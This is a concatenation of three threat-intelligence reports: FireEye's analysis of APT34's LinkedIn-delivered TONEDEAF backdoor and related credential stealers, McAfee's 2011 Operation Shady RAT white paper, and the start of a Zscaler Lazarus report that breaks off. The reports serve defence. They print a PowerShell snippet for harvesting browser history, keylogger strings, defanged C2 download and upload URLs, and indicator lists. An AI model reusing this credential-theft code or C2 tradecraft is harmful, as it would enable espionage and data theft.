Industries Targeted The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries: Energy and Utilities Government Oil and Gas Utilizing Cambridge University to Establish Trust On June 19, 2019, FireEyes Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances.
The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Securitys ExploitGuard engine.
ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms.
Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.
The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\ user_name\.templates.
The file System.doc is a Windows Portable Executable (PE), despite having a doc file extension.
FireEye identified this new malware family as TONEDEAF.
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.
When executed, this variant of TONEDEAF wrote encrypted data to two temporary files  temp.txt and temp2.txt  within the same directory of its execution.
We explore additional technical details of TONEDEAF in the malware appendix of this post.
Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls.
Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam- 2/11 https://www.fireeye.com/solutions/managed-defense.html https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html research-ac[.
]com/Documents/ERFT-Details.xls.
Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.
Managed Defense reached out to the impacted customers security team, who confirmed the file was received via a LinkedIn message.
The targeted employee conversed with Rebecca Watts, allegedly employed as Research Staff at University of Cambridge.
The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.
Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF This is not the first time weve seen APT34 utilize academia and/or job offer conversations in their various campaigns.
These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.
FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes: 96feed478c347d4b95a8224de26a1b2c caf418cbf6a9c4e93e79d4714d5d3b87 A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.
3/11 Figure 2: Screenshot of VBA code from System.doc The spreadsheet also creates a scheduled task named windows update check that runs the file C:\Users\user_name\.templates\System Manager.exe every minute.
Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe.
Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.
4/11 Figure 3: Additional VBA code from System.doc Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.
]com over port 80.
The FireEye Footprint: Pivots and Victim Identification After identifying the usage of offlineearthquake[.
]com as a potential C2 domain, FireEyes Intelligence and Advanced Practices teams performed a wider search across our global visibility.
FireEyes Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations.
Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH.
We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.
Requests to the domain offlineearthquake[.
]com could take multiple forms, depending on the malwares stage of installation and purpose.
Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three- character sys_id.
This value is used in subsequent requests, likely to track infected target activity.
URLs were observed with the following structures: hxxp[://]offlineearthquake[.
]com/download?idsys_idn000 hxxp[://]offlineearthquake[.
]com/upload?idsys_idn000 hxxp[://]offlineearthquake[.
]com/file/sys_id/executable?idcmd_idh000 hxxp[://]offlineearthquake[.
]com/file/sys_id/executable?idcmd_idn000 The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH.
LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.
Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.
FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).
GET hxxp://offlineearthquake.com/file/sys_id/b.exe?id3char_redactedn000 User-Agent: Mozilla/5.0 (Windows NT 6.1 Trident/7.0 rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko) Host: offlineearthquake[.
]com Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT detected by FireEye Network Security appliance 5/11 FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.
VALUEVAULT is a Golang compiled version of the Windows Vault Password Dumper browser credential theft tool from Massimiliano Montoro, the developer of Cain  Abel.
VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault.
Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
Further information regarding VALUEVAULT can be found in the appendix below.
Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e).
These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.
PICKPOCKET is a credential theft tool that dumps the users website login credentials from Chrome, Firefox, and Internet Explorer to a file.
This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.
Conclusion The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations.
Luckily, with FireEyes platform in place, our Managed Defense customers were not impacted.
Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.
We suspect this will not be the last time APT34 brings new tools to the table.
Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired.
For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.
Malware Appendix TONEDEAF TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS.
Supported commands include system information collection, file upload, file download, and arbitrary shell command execution.
Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.
]com, it was not configured to use this functionality.
Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil.
The creator likely made this as a means for future DNS exfiltration as a plan B.
6/11 Figure 5: Snippet of code from TONEDEAF binary Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly.
One such bug involves determining the length of a command response string without accounting for Unicode strings.
As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output.
Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.
]154.
VALUEVAULT VALUEVAULT is a Golang compiled version of the Windows Vault Password Dumper browser credential theft tool from Massimiliano Montoro, the developer of Cain  Abel.
VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault.
Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
A snippet of this function is shown in Figure 6.
powershell.exe /c function get-iehistory .
[
CmdletBinding()].
param ().
.
shell  New-Object - ComObject Shell.
Application.
hist  shell.
NameSpace(34).
folder  hist.
Self.
.
hist.
Items()  .
foreach .
if (_.IsFolder) .
siteFolder  _.GetFolder.
siteFolder.
Items()  .
foreach .
site  _. .
if (site.
IsFolder) .
pageFolder  site.
GetFolder.
pageFolder.
Items()  .
foreach .
visit New-Object -TypeName PSObject -Property  .
URL  (pageFolder.
GetDetailsOf(_,0)) .
.
visit. . . . . . .
get-iehistory Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials 7/11 Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by.
This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format.
This functionality is not in the original version of the Windows Vault Password Dumper.
Figure 7 shows the SQL format of the fsociety.dat file.
Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database VALUEVAULTs function names are not obfuscated and are directly reviewable in strings analysis.
Other developer environment variables were directly available within the binary as shown below.
VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.
C:/Users/redacted/Desktop/projects/go/src/browsers-password-cracker/new_edge.go C:/Users/redacted/Desktop/projects/go/src/browsers-password-cracker/mozila.go C:/Users/redacted/Desktop/projects/go/src/browsers-password-cracker/main.go C:/Users/redacted/Desktop/projects/go/src/browsers-password-cracker/ie.go C:/Users/redacted/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go Figure 8: Golang files extracted during execution of VALUEVAULT LONGWATCH FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.
]com.
FireEye identifies this malware as LONGWATCH.
The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.
Interesting strings identified in the binary are shown in Figure 9.
8/11 GetAsyncKeyState ---------------------------------------------------\n\n c:\\windows\\temp\\log.txt [ENTER] [CapsLock] [CRTL] [PAGE_UP] [PAGE_DOWN] [HOME] [LEFT] [RIGHT] [DOWN] [PRINT] [PRINT SCREEN] (1 space) [INSERT] [SLEEP] [PAUSE] \n---------------CLIPBOARD------------\n \n\n   (2 spaces) c:\\windows\\temp\\log.txt Figure 9: Strings identified in a LONGWATCH binary Detecting the Techniques FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH.
Table 2 contains several specific detection names that provide an indication of APT34 activity.
Signature Name FE_APT_Keylogger_Win_LONGWATCH_1 FE_APT_Keylogger_Win_LONGWATCH_2 FE_APT_Keylogger_Win32_LONGWATCH_1 FE_APT_HackTool_Win_PICKPOCKET_1 FE_APT_Trojan_Win32_VALUEVAULT_1 9/11 FE_APT_Backdoor_Win32_TONEDEAF TONEDEAF BACKDOOR [DNS] TONEDEAF BACKDOOR [upload] TONEDEAF BACKDOOR [URI] Table 1: FireEye Platform Detections Endpoint Indicators Indicator MD5 Hash (if applicable) Code Family System.doc b338baa673ac007d7af54075ea69660b TONEDEAF 50fb09d53c856dcd0782e1470eaeae35 TONEDEAF ERFT-Details.xls 96feed478c347d4b95a8224de26a1b2c TONEDEAF DROPPER caf418cbf6a9c4e93e79d4714d5d3b87 TONEDEAF DROPPER b.exe 9fff498b78d9498b33e08b892148135f VALUEVAULT WindowsNTProgram.exe 021a0f57fe09116a43c27e5133a57a0a LONGWATCH PE86.dll d8abe843db508048b4d4db748f92a103 PICKPOCKET PE64.dll 6eca9c2b7cf12c247032aae28419319e PICKPOCKET Table 2: APT34 Endpoint Indicators from this blog post Network Indicators hxxp[://]www[.]cam-research-ac[.
]com offlineearthquake[.
]com 10/11 c[.]cdn-edge-akamai[.
]com 185[.]15[.]247[.
]154 Acknowledgements A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign.
Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.
11/11 Hard Pass: Declining APT34s Invite to Join Their Professional Network Background FireEye Identifies Phishing Campaign Industries Targeted Utilizing Cambridge University to Establish Trust The FireEye Footprint: Pivots and Victim Identification Conclusion Malware Appendix TONEDEAF VALUEVAULT LONGWATCH Detecting the Techniques Endpoint Indicators Network Indicators Acknowledgements
Revealed: Operation Shady RAT By Dmitri Alperovitch, Vice President, Threat Research, McAfee An investigation of targeted intrusions into more than 70 global companies, governments, and non-profit organizations during the last five years White Paper Version 1.1 2 White Paper Revealed: Operation Shady RAT For the last few years, especially since the public revelation of Operation Aurora, the targeted successful intrusion into Google and two dozen other companies, I have often been asked by our worldwide customers if they should worry about such sophisticated penetrations themselves or if that is a concern only for government agencies, defense contractors, and perhaps Google.
My answer in almost all cases has been unequivocal: absolutely.
Having investigated intrusions such as Operation Aurora and NightDragon (the systemic long-term compromise of Western oil and gas industry), as well as numerous others that have not been disclosed publicly, I am convinced that every company in every conceivable industry with significant size and valuable intellectual property and trade secrets has been compromised (or will be shortly), with the great majority of the victims rarely discovering the intrusion or its impact.
In fact, I divide the entire set of Fortune Global 2,000 firms into two categories: those that know theyve been compromised and those that dont yet know.
Lately, with the rash of revelations about attacks on organizations such as RSA, Lockheed Martin, Sony, PBS, and others, I have been asked by surprised reporters and customers whether the rate of intrusions is increasing and if it is a new phenomenon.
I find the question ironic because these types of exploitations have occurred relentlessly for at least a half decade, and the majority of the recent disclosures in the last six months have, in fact, been a result of relatively unsophisticated and opportunistic exploitations for the sake of notoriety by loosely organized political hacktivist groups such as Anonymous and Lulzsec.
On the other hand, the targeted compromises we are focused on  known as advanced persistent threats (APTs)  are much more insidious and occur largely without public disclosures.
They present a far greater threat to companies and governments, as the adversary is tenaciously persistent in achieving their objectives.
The key to these intrusions is that the adversary is motivated by a massive hunger for secrets and intellectual property this is different from the immediate financial gratification that drives much of cybercrime, another serious but more manageable threat.
What we have witnessed over the past five to six years has been nothing short of a historically unprecedented transfer of wealth  closely guarded national secrets (including those from classified government networks), source code, bug databases, email archives, negotiation plans and exploration details for new oil and gas field auctions, document stores, legal contracts, supervisory control and data acquisition (SCADA) configurations, design schematics, and much more has fallen off the truck of numerous, mostly Western companies and disappeared in the ever-growing electronic archives of dogged adversaries.
3 White Paper Revealed: Operation Shady RAT What is happening to all this data  by now reaching petabytes as a whole  is still largely an open question.
However, if even a fraction of it is used to build better competing products or beat a competitor at a key negotiation (due to having stolen the other teams playbook), the loss represents a massive economic threat not just to individual companies and industries but to entire countries that face the prospect of decreased economic growth in a suddenly more competitive landscape and the loss of jobs in industries that lose out to unscrupulous competitors in another part of the world.
And lets not forget the national security impact of the loss of sensitive intelligence or defense information.
Yet, the public (and often the industry) understanding of this significant national security threat is largely minimal due to the very limited number of voluntary disclosures by victims of intrusion activity compared to the actual number of compromises that take place.
With the goal of raising the level of public awareness today, we are publishing the most comprehensive analysis ever revealed of victim profiles from a five-year targeted operation by one specific actor  Operation Shady RAT, as I have named it at McAfee (RAT is a common acronym in the industry that stands for remote access tool).
This is not a new attack, and the vast majority of the victims have long since remediated these specific infections (although whether most realized the seriousness of the intrusion or simply cleaned up the infected machine without further analysis into the data loss is an open question).
McAfee has detected the malware variants and other relevant indicators for years with Generic Downloader.x and Generic BackDoor.t heuristic signatures (those who have had prior experience with this specific adversary may recognize it by the use of encrypted HTML comments in web pages that serve as a command channel to the infected machine).
McAfee has gained access to one specific command and control (CC) server used by the intruders.
We have collected logs that reveal the full extent of the victim population since mid-2006 when the log collection began.
Note that the actual intrusion activity may have begun well before that time, but that is the earliest evidence we have for the start of the compromises.
The compromises themselves were standard procedure for these types of targeted intrusions: a spear-phishing email containing an exploit is sent to an individual with the right level of access at the company, and the exploit, when opened, on an unpatched system will trigger a download of the implant malware.
That malware will execute and initiate a backdoor communication channel to the CC web server and interpret the instructions encoded in the hidden comments embedded in the webpage code.
This will be quickly followed by live intruders jumping on to the infected machine and proceeding to quickly escalate privileges and move laterally within the organization to establish new persistent footholds via additional compromised machines running implant malware, as well as targeting for quick exfiltration the key data they came for.
After painstaking analysis of the logs, even we were surprised by the enormous diversity of the victim organizations and were taken aback by the audacity of the perpetrators.
Although we will refrain from explicitly identifying most of the victims, describing only their general industry, we feel that naming names is warranted in certain cases, not with the goal of attracting attention to a specific victim organization, but to reinforce the fact that virtually everyone is falling prey to these intrusions, regardless of whether they are the United Nations, a multinational Fortune 100 company, a small, non-profit think tank, a national Olympic team, or even an unfortunate computer security firm.
4 White Paper Revealed: Operation Shady RAT In all, we identified 71 compromised parties (many more were present in the logs but without sufficient information to accurately identify them).
Of these, the breakdown of 32 unique organization categories follows: US Federal Government 6 US State Government 5 US County Government 3 Canadian Government 2 Vietnam Government 1 Taiwan Government 1 US Government Contractor 1 United Nations 1 Indian Government 1 Construction/ Heavy Industry 3 Steel Industry 1 Energy 1 Solar Power 1 Defense Contractor 13Electronics Industry 3 Computer Security 2 Information Technology 2 Satellite Communica- tions 2 News Media 2 Information Services 1 Communica- tions Technology 1 Real Estate 2 Accounting Industry 2 Agriculture 1 Insurance 1 International Sports 5 Economics/ Trade 2 Think Tanks 2 International Government/ Economics/ Trade 1 Political Non-Profit 1 US National Security Non-Profit 1 Source: McAfee 21 6 13 13 6 12 5 White Paper Revealed: Operation Shady RAT And for those who believe these compromises occur only in the United States, Canada, and Europe, allow me to change that perception with the following statistics on 14 geographic locations of the targets: 49 1 2 2 1 1 2 1 3 1 1 1 2 4 Victims Country of Origin Victim Count USA 49 Canada 4 South Korea 2 Taiwan 3 Japan 2 Switzerland 2 United Kingdom 2 Victims Country of Origin Victim Count Indonesia 1 Vietnam 1 Denmark 1 Singapore 1 Hong Kong 1 Germany 1 India 1 Source: McAfee 6 White Paper Revealed: Operation Shady RAT The interest in the information held at the Asian and Western national Olympic Committees, as well as the International Olympic Committee (IOC) and the World Anti-Doping Agency in the lead-up and immediate follow-up to the 2008 Olympics was particularly intriguing and potentially pointed a finger at a state actor behind the intrusions, because there is likely no commercial benefit to be earned from such hacks.
The presence of political non-profits, such as a private western organization focused on promotion of democracy around the globe or a US national security think tank is also quite illuminating.
Hacking the United Nations or the Association of Southeast Asian Nations (ASEAN) Secretariat is also not likely a motivation of a group interested only in economic gains.
Another fascinating aspect that the logs have revealed to us is the changing tasking orders of the perpetrators as the years have gone by.
In 2006, the year that the logs begin, we saw only eight intrusions: two on South Korean steel and construction companies and one each on a Department of Energy Research Laboratory, a US real estate firm, international trade organizations of Asian and Western nations and the ASEAN Secretariat.
(
That last intrusion began in October, a month prior to the organizations annual summit in Singapore, and continued for another 10 months.)
In 2007, the pace of activity jumped by a whopping 260 percent to a total of 29 victim organizations.
That year we began to see new compromises of no fewer than four US defense contractors, Vietnams government-owned technology company, US federal government agency, several US state and county governments, and one computer network security company.
The compromises of the Olympic Committees of two nations in Asia and one Western country began that year as well.
In 2008, the count went up further to 36 victims, including the United Nations and the World Anti-Doping Agency, and to 38 in 2009.
Then the number of intrusions fell to 17 in 2010 and to 9 in 2011, likely due to the widespread availability of the countermeasures for the specific intrusion indicators used by this specific actor.
These measures caused the perpetrator to adapt and increasingly employ a new set of implant families and CC infrastructure (causing activity to disappear from the logs we analyzed).
Even news media was not immune to the targeting, with one major US news organization compromised at its New York headquarters and Hong Kong bureau for more than 21 months.
The shortest time that an organization remained compromised was less than a single month nine share that honor: International Olympic Committee (IOC), Vietnams government-owned technology company, a trade organization of a nation in Asia, one Canadian government agency, one US defense contractor, one US general government contractor, one US state and one county government, and a US accounting firm.
I must, however, caution that this may not necessarily be an indication of the rapid reaction of information security teams in those organizations, but perhaps merely evidence that the actor was interested only in a quick smash and grab operation that did not require a persistent compromise of the victim.
The longest compromise was recorded at an Olympic Committee of a nation in Asia it lasted on and off for 28 months, finally terminating in January 2010.
7 White Paper Revealed: Operation Shady RAT Below is the complete list of all 71 targets, with country of origin, start date of the initial compromise and duration of the intrusions: Victim Country Intrusion Start Date Intrusion Duration (Months) South Korean Construction Company South Korea July 2006 17 South Korean Steel Company South Korea July 2006 11 Department of Energy Research Laboratory USA July 2006 3 Trade Organization Country in Asia July 2006 1 US International Trade Organization USA September 2006 12 ASEAN (Association of Southeast Asian Nations) Secretariat Indonesia October 2006 10 US Real-Estate Firm 1 USA November 2006 8 Vietnams Government-owned Technology Company Vietnam March 2007 1 US Real-Estate Firm 2 USA April 2007 17 US Defense Contractor 1 USA May 2007 21 US Defense Contractor 2 USA May 2007 20 US Northern California County Government USA June 2007 7 US Southern California County Government USA June 2007 24 US State Government 1 USA July 2007 6 US Federal Government Agency 1 USA July 2007 8 Olympic Committee of Asian Country 1 Country in Asia July 2007 28 US State Government 2 USA August 2007 1 US State Government 3 USA August 2007 25 US Federal Government Agency 2 USA August 2007 7 Olympic Committee of Western Country Western Country August 2007 7 Taiwanese Electronics Company Taiwan September 2007 8 US Federal Government Agency 3 USA September 2007 4 US Federal Government Agency 4 USA September 2007 8 Western Non-Profit, Democracy-Promoting Organization Western Country September 2007 4 Olympic Committee of Asian Country 2 Country in Asia September 2007 7 International Olympic Committee Switzerland November 2007 1 US Defense Contractor 3 USA November 2007 7 US Network Security Company USA December 2007 3 US Defense Contractor 4 USA December 2007 7 8 White Paper Revealed: Operation Shady RAT Victim Country Intrusion Start Date Intrusion Duration (Months) US Accounting Firm USA January 2008 1 US Electronics Company USA February 2008 13 UK Computer Security Company United Kingdom February 2008 6 US National Security Think Tank USA February 2008 20 US Defense Contractor 5 USA February 2008 9 US Defense Contractor 6 USA February 2008 2 US State Government 4 USA April 2008 2 Taiwan Government Agency Taiwan April 2008 8 US Government Contractor 1 USA April 2008 1 US Information Technology Company USA April 2008 7 US Defense Contractor 7 USA April 2008 16 US Construction Company 1 USA May 2008 19 US Information Services Company USA May 2008 6 Canadian Information Technology Company Canada July 2008 4 US National Security Non-Profit USA July 2008 8 Denmark Satellite Communications Company Denmark August 2008 6 United Nations Switzerland September 2008 20 Singapore Electronics Company Singapore November 2008 4 UK Defense Contractor United Kingdom January 2009 12 US Satellite Communications Company USA February 2009 25 US Natural Gas Wholesale Company USA March 2009 7 US Nevada County Government USA April 2009 1 US State Government 5 USA April 2009 3 US Agricultural Trade Organization USA May 2009 3 US Construction Company 2 USA May 2009 4 US Communications Technology Company USA May 2009 7 US Defense Contractor 8 USA May 2009 4 US Defense Contractor 9 USA May 2009 3 US Defense Contractor 10 USA June 2009 11 US News Organization, Headquarters USA August 2009 8 US News Organization, Hong Kong Bureau Hong Kong August 2009 21 US Insurance Association USA August 2009 3 World Anti-Doping Agency Canada August 2009 14 German Accounting Firm Germany September 2009 10 9 White Paper Revealed: Operation Shady RAT Victim Country Intrusion Start Date Intrusion Duration (Months) US Solar Power Energy Company USA September 2009 4 Canadian Government Agency 1 Canada October 2009 6 US Government Organization 5 USA November 2009 2 US Defense Contractor 11 USA December 2009 2 US Defense Contractor 12 USA December 2009 1 Canadian Government Agency 2 Canada January 2010 1 US Think Tank USA April 2010 13 Indian Government Agency India September 2010 2 Below are the complete timelines for each year of intrusion activity.
It could be an interesting exercise to map some of these specific compromises to various geopolitical events that occurred around these times.
(
The gaps in the timelines for continuous infections aimed at specific victims may not necessarily be an indication of a successful cleanup before a new reinfection, but rather an artifact of our log collection process that did not mark every activity that occurred on the adversarys infrastructure, potentially leading to these gaps in the data) Source: McAfee 10 White Paper Revealed: Operation Shady RAT Source: McAfee 11 White Paper Revealed: Operation Shady RAT Source: McAfee 12 White Paper Revealed: Operation Shady RAT Source: McAfee 13 White Paper Revealed: Operation Shady RAT Source: McAfee Source: McAfee McAfee and the McAfee logo are registered trademarks or trademarks of McAfee, Inc. or its subsidiaries in the United States and other countries.
Other marks and brands may be claimed as the property of others.
The product plans, specifications and descriptions herein are provided for information only and subject to change without notice, and are provided without warranty of any kind, express or implied.
Copyright  2011 McAfee, Inc. 33000wp_shady-rat_0811 McAfee 2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com White Paper Revealed: Operation Shady RAT Although Shady RATs scope and duration may shock those who have not been as intimately involved in the investigations into these targeted espionage operations as we have been, I would like to caution you that what I have described here has been one specific operation conducted by a single actor/group.
We know of many other successful targeted intrusions (not counting cybercrime-related ones) that we are called in to investigate almost weekly, which impact other companies and industries.
This is a problem of massive scale that affects nearly every industry and sector of the economies of numerous countries, and the only organizations that are exempt from this threat are those that dont have anything valuable or interesting worth stealing.
You can follow Dmitri Alperovitch, vice president of threat research, McAfee, on Twitter at http://twitter.com/DmitriCyber.
Revision history Update: As weve worked further with the Korean Government on this investigation, we have come to a conclusion that a Korean Government agency was most likely not a victim of these intrusions.
We are still working to determine the identity of the victim organization About McAfee McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ:INTC), is the worlds largest dedicated security technology company.
McAfee delivers proactive and proven solutions and services that help secure systems, networks, and mobile devices around the world, allowing users to safely connect to the Internet, browse, and shop the web more securely.
Backed by its unrivaled global threat intelligence, McAfee creates innovative products that empower home users, businesses, the public sector, and service providers by enabling them to prove compliance with regulations, protect data, prevent disruptions, identify vulnerabilities, and continuously monitor and improve their security.
McAfee is relentlessly focused on constantly finding new ways to keep our customers safe.
http://www.mcafee.com
1/11 A Naver-ending game of Lazarus APT zscaler.com/blogs/security-research/naver-ending-game-lazarus-apt Zscalers ThreatLabz research team has been closely monitoring a campaign targeting users in South Korea.
This threat actor has been active for more than a year and continues to evolve its tactics, techniques, and procedures (TTPs) we believe with high confidence that the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced persistent threat (APT) group.
In 2021, the main attack vector used by this threat actor was credential phishing attacks through emails, posing as Naver, the popular South Korean search engine and web portal.
In 2022, the same threat actor started spoofing various important entities in South Korea, including KRNIC (Korea Internet Information Center), Korean security vendors such as Ahnlab, cryptocurrency exchanges such as Binance, and others.
Some details about this campaign were published in this Korean blog, however they did not perform the threat attribution.
Even though the TTPs of this threat actor evolved over time, there were critical parts of their infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the threat attribution with a high-confidence level.
Our research led us to the discovery of command-and-control (C2) domains even before they were used in active attacks by the threat actor.
This proactive discovery of attacker infrastructure helps us in preempting the attacks.
In this blog, we will share the technical details of the attack chains, and will explain how we correlated this threat actor to Lazarus.
We would like to thank Dropbox for their quick action in taking down the malicious accounts used by the threat actor, and for also sharing valuable threat intelligence that helped us with threat attribution.
Attack chains This threat actor has frequently updated its attack chains over the last two months.
We identified three unique attack chains used by the threat actor to distribute the malware in emails: Figure 1: Attack flow Spear phishing emails distribution https://www.zscaler.com/blogs/security-research/naver-ending-game-lazarus-apt https://blog.alyac.co.kr/4586 https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Attack20Flow.png 2/11 During our analysis, we discovered that at least one of the IP addresses (222.112.127[.
]9) used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used to send spear phishing emails to the victims in South Korea.
Below are examples of two such emails that were sent from the IP address 222.112.127[.
]9.
Note: This IP address is related to KT Corporation, a Korean telecom provider.
Multiple IP addresses related to KT Corporation were abused by this threat actor during the current attack.
Email 1 In this email, a macro-based document was sent to the victim.
Figure 2: Email sent to the victim Figure 3 below shows that the decoy content of the document is related to Menlo Security company.
This is consistent with other decoy contents used by the threat actor.
For instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy content used was related to Ahnlab - a Korea-based computer security company.
This is done for the purpose of social engineering.
Figure 3: Decoy content Email 2 In this email, a password protected macro-based XLS file was sent to the victim.
The password for the file was mentioned in the email body.
The theme of the file is related to cryptocurrency investments.
This theme is consistent with other documents sent in this campaign as well.
Lazarus Group is known to have a keen interest in attacking cryptocurrency users, asset managers, and companies.
Figure 4: Email sent to the victim Figure 5 below shows the senders IP address in the email headers as indicated by the X-Originating-IP field.
Figure 5: Email header showing originating IP, Sender and Recipient Threat attribution In order to perform the threat actor attribution, we did a correlation of the below data points.
1.
C2 IP addresses 2.
Attacker-controlled Dropbox accounts registrant email addresses https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Email201.png https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Decoy.png https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Email202.png https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Email20Header.png 3/11 3.
C2 domains registrant email addresses 4.
Passive DNS data 5.
Senders email address in credential phishing attacks 6.
Senders IP address in credential phishing attacks Note: OSINT information related to the above data points was also used in correlation analysis.
Correlating different attacks to same threat actor As described in the network communication section later in the blog, the Stage-3 binary initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is used to perform further network communication.
In collaboration with Dropbox, we were able to discover the email addresses associated with the attacker-controlled Dropbox accounts used during this attack.
One such email addresses was: peterstewart0326gmail[.
]com This same email address was recently mentioned in Prevailions blog.
It was linked to several domains which were used during Naver-themed phishing activity.
Also, according to this blog from 2021, this same email address was also used to send Naver- themed credential phishing attack emails to users in South Korea.
Correlating the above data points, we can say with a high confidence level that the attack chains we have described in this blog are also related to the same threat actor.
Attribution to Lazarus APT According to the threat infrastructure mapping done in Prevailion blog, the IP address 23.81.246[.
]131 belongs to one of the critical nodes used by the threat actor during Naver- themed phishing activity.
One of the domains linked to this IP address was navercorpservice[.
]com.
If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201[.
]253 in November 2021 and 45.147.231[.
]213 in September 2021.
The IP address 172.93.201[.
]253 was recently used to host the domain - disneycareers[.
]net which was attributed to Lazarus APT in Google TAG blog.
Further, what caught our attention was the IP address 45.147.231[.
]213.
This IP address was earlier used by North Korea-based APT threat actor.
Recently, we also had a new domain resolution alert for this IP address as part of our C2 infrastructure tracking.
If we pivot on the https://www.prevailion.com/what-wicked-webs-we-unweave/ https://blog.naver.com/PostView.naver?blogIdmrs_englishlogNo222289029970 https://www.prevailion.com/what-wicked-webs-we-unweave/ https://blog.google/threat-analysis-group/countering-threats-north-korea/ 4/11 passive DNS data for this IP address, we can see that the domain: www.devguardmap[.
]org was hosted on this IP address in Jan 2021 which was attributed to Lazarus APT as per this tweet from ESET and Google TAG blog.
Correlating all the above data points, we reached the conclusion that the attack-chains we discovered are related to Lazarus threat actor.
To the best of our knowledge, at the time of writing, this threat actor attribution has not been publicly documented yet.
Technical analysis For the purpose of technical analysis we will consider the attack chain starting with a Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074.
[]
Stage 1: Compiled HTML file The CHM file contains a malicious binary embedded inside it.
At runtime, this will be dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe and executed.
